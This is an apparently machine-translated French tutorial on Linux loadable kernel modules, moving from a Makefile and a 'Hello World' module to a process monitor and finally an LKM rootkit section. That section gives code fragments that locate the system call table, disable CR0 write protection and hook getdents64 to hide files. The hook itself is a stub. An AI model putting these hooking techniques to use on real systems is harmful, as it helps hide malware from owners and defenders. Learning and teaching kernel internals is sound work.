Maison > développement back-end > C++ > LKM Addict, apprendre les bases de lkm

LKM Addict, apprendre les bases de lkm

Mary-Kate Olsen
Libérer: 2024-10-09 06:09:29
original
634 Les gens l'ont consulté

Hé les amis ! Aujourd'hui, je vais vous présenter les LKM (Loadable Kernel Modules), depuis un simple module "Hello World" jusqu'à la création d'un rootkit LKM. Si vous trouvez cela utile, n'hésitez pas à le partager et merci d'avance à tous ceux qui liront jusqu'à la fin. Vous trouverez tout le code et les références liées au bas de l'article, alors assurez-vous de consulter les sources. Croyez-moi, creuser dans ceux-ci et modifier le code vous aidera vraiment à en savoir plus. Attention cependant : une partie du code est sous licence GPL 3, alors assurez-vous de connaître les conditions.

Ce dont vous aurez besoin :

linux-headers-génériques
Un compilateur C (je recommande GCC ou cc)

Table des matières :

  • 1) Qu'est-ce que LKM et comment ça marche
  • 2) Exemple de Makefile LKM
  • 3) Comment les modules sont chargés dans le noyau
  • 4) LKM "Bonjour tout le monde"
  • 5) Changements clés au fil des années
  • 6) Modifications de la table Syscall dans le noyau 5.7
  • 7) LKM pour la surveillance des processus
  • 8) Construire un rootkit LKM

1) Qu'est-ce que LKM et comment ça marche :

Les LKM sont des modules de noyau chargeables qui aident le noyau Linux à étendre ses fonctionnalités, comme l'ajout de pilotes pour le matériel sans avoir besoin de recompiler l'intégralité du noyau. Ils sont parfaits pour les pilotes de périphériques (comme les cartes son), les systèmes de fichiers, etc. Chaque LKM a au moins besoin de ces deux fonctions de base :

static int __init module_init(void)
{
    return 0;
}

static void __exit module_exit(void)
{
}
Copier après la connexion

2) Exemple de fichier Makefile LKM :

Voici un Makefile super simple pour compiler votre module :

obj-m := example.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

all:
 $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
 $(MAKE) -C $(KDIR) M=$(PWD) clean
Copier après la connexion

3) Comment les modules sont chargés dans le noyau :

Vous pouvez voir les modules chargés dans le noyau avec la commande lsmod. Il vérifie les informations dans /proc/modules. Les modules identifient généralement le noyau via des alias comme celui-ci :

alias char-major-10–30 softdog

Cela indique à modprobe que le module softdog.o doit être chargé, et il vérifie /lib/modules/version/modules.dep les dépendances créées en exécutant depmod -a.

4) LKM "Bonjour tout le monde" :

Voici comment créer un module "Hello World" super basique :

#include <linux/module.h> 
#include <linux/kernel.h> 
#include <linux/init.h>   

static int __init hello_init(void)
{
    printk(KERN_INFO "<1>Hello World\n");
    return 0;
}

static void __exit hello_exit(void)
{
    printk(KERN_INFO"<1> Bye bye!");
}

module_init(hello_init);
module_exit(hello_exit);

MODULE_AUTHOR("BrunoCiccarino");
MODULE_LICENSE("GPL");
Copier après la connexion

5) Changements clés dans LKM au fil des ans :

Il y a eu des changements assez importants dans les LKM au fil du temps, alors décomposons-les par version du noyau Linux :

Kernel 2.x (jusqu'à 2.6) :

Prise en charge initiale du chargement et du déchargement dynamiques de LKM.
De meilleurs outils de débogage (OOPS, PANIC).
Noyau 2.6.x :

Introduction d'udev pour une meilleure gestion des appareils.
Noyau préemptif pour des temps de réponse plus rapides.
Native Posix Thread Library (NPTL) améliore la gestion des processus multithread.
Noyau 3.x :

Prise en charge des espaces de noms, amélioration de la technologie des conteneurs comme Docker.
Améliorations du système de fichiers et du pilote GPU.
Noyau 4.x :

La sécurité du noyau est renforcée avec KASLR.
Meilleure prise en charge des conteneurs (groupes C, espaces de noms).
Nouveau support matériel.
Noyau 5.x :

Meilleur cryptage du système de fichiers et correctifs en direct.
Expansion du BPF au-delà des seuls réseaux.
Meilleure prise en charge de RISC-V et ARM.
Noyau 5.7 :

Changement majeur : la table syscall (sys_call_table) est devenue moins accessible pour des raisons de sécurité. Les modules qui devaient modifier la table d'appel système ont dû s'adapter.
Noyau 6.x :

Prise en charge du langage Rust pour un développement plus sûr des modules du noyau.
Améliorations de la sécurité et de l'isolation, en mettant l'accent sur l'efficacité énergétique des appareils mobiles.

6) Modifications de la table Syscall dans le noyau 5.7 :

Sous Linux 5.7, des modifications ont été apportées pour protéger la table des appels système. Il est désormais protégé en écriture et difficilement accessible, ce qui constitue un grand gain en matière de sécurité mais complique les choses pour les modules légitimes qui en dépendent. Si vous utilisiez kprobes.h pour trouver sys_call_table, vous auriez besoin d'une nouvelle stratégie. Désormais, vous ne pouvez pas le modifier directement en raison de protections comme Write-Protection (WP).

7) LKM pour la surveillance des processus :

Il s'agit d'un module qui surveille les processus dans le noyau en exécutant périodiquement des vérifications (par exemple toutes les 2 secondes) à l'aide d'une minuterie. Il surveille des éléments tels que la création et l'arrêt des processus, l'accès aux fichiers et l'utilisation du réseau.

Voici un peu de code pour vous aider à démarrer :

#include <linux/module.h>
#include <linux/sched.h>
#include <linux/timer.h>
#include <linux/cred.h>

static struct timer_list procmonitor_timer;

static void procmonitor_check_proc_tree(unsigned long unused)
{
    struct task_struct *task;
    for_each_process(task)
        printk(KERN_INFO "process: %s, PID: %d\n", task->comm, task->pid);

    mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(2000));
}

static int __init procmonitor_init(void)
{
    setup_timer(&procmonitor_timer, procmonitor_check_proc_tree, 0);
    mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(200));
    return 0;
}

static void __exit procmonitor_exit(void)
{
    del_timer_sync(&procmonitor_timer);
}

module_init(procmonitor_init);
module_exit(procmonitor_exit);
Copier après la connexion

8) Rootkits LKM :

Les rootkits sont essentiellement des modules malveillants qui détournent les appels système pour masquer les logiciels malveillants. Voici comment ils se connectent à la table d’appel système et modifient leur comportement.

Tout d'abord, vous devez localiser la table d'appel système :

unsigned long *find_syscall_table(void)
{
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    return (unsigned long*)kallsyms_lookup_name("sys_call_table");
}
Copier après la connexion

Ensuite, vous pouvez déprotéger la mémoire où se trouve la table d'appel système :

static inline void unprotect_memory(void)
{
    write_cr0_forced(cr0 & ~0x00010000);
}
Copier après la connexion

Après cela, remplacez la fonction d'origine par votre crochet :

static int __init ghost_init(void)
{
    __syscall_table = find_syscall_table();
    if (!__syscall_table) return -1;

    cr0 = read_cr0();
    orig_getdents64 = (void *)__syscall_table[MY_NR_getdents];
    unprotect_memory();
    __syscall_table[MY_NR_getdents] = (unsigned long)hook_getdents64;
    protect_memory();
    return 0;
}
Copier après la connexion

La fonction hook intercepte et masque les fichiers :

asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
    int ret = orig_getdents64(fd, dirp, count);
    // Intercept the syscall here...
    return ret;
}
Copier après la connexion

LKM Addict, learning the basics of lkm

製作人員

駭客的選擇
elinux
內核br
xcellerator
lkmpg
愛貓人士
我的rootkit
二嗎啡

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

source:dev.to
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Derniers articles par auteur
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal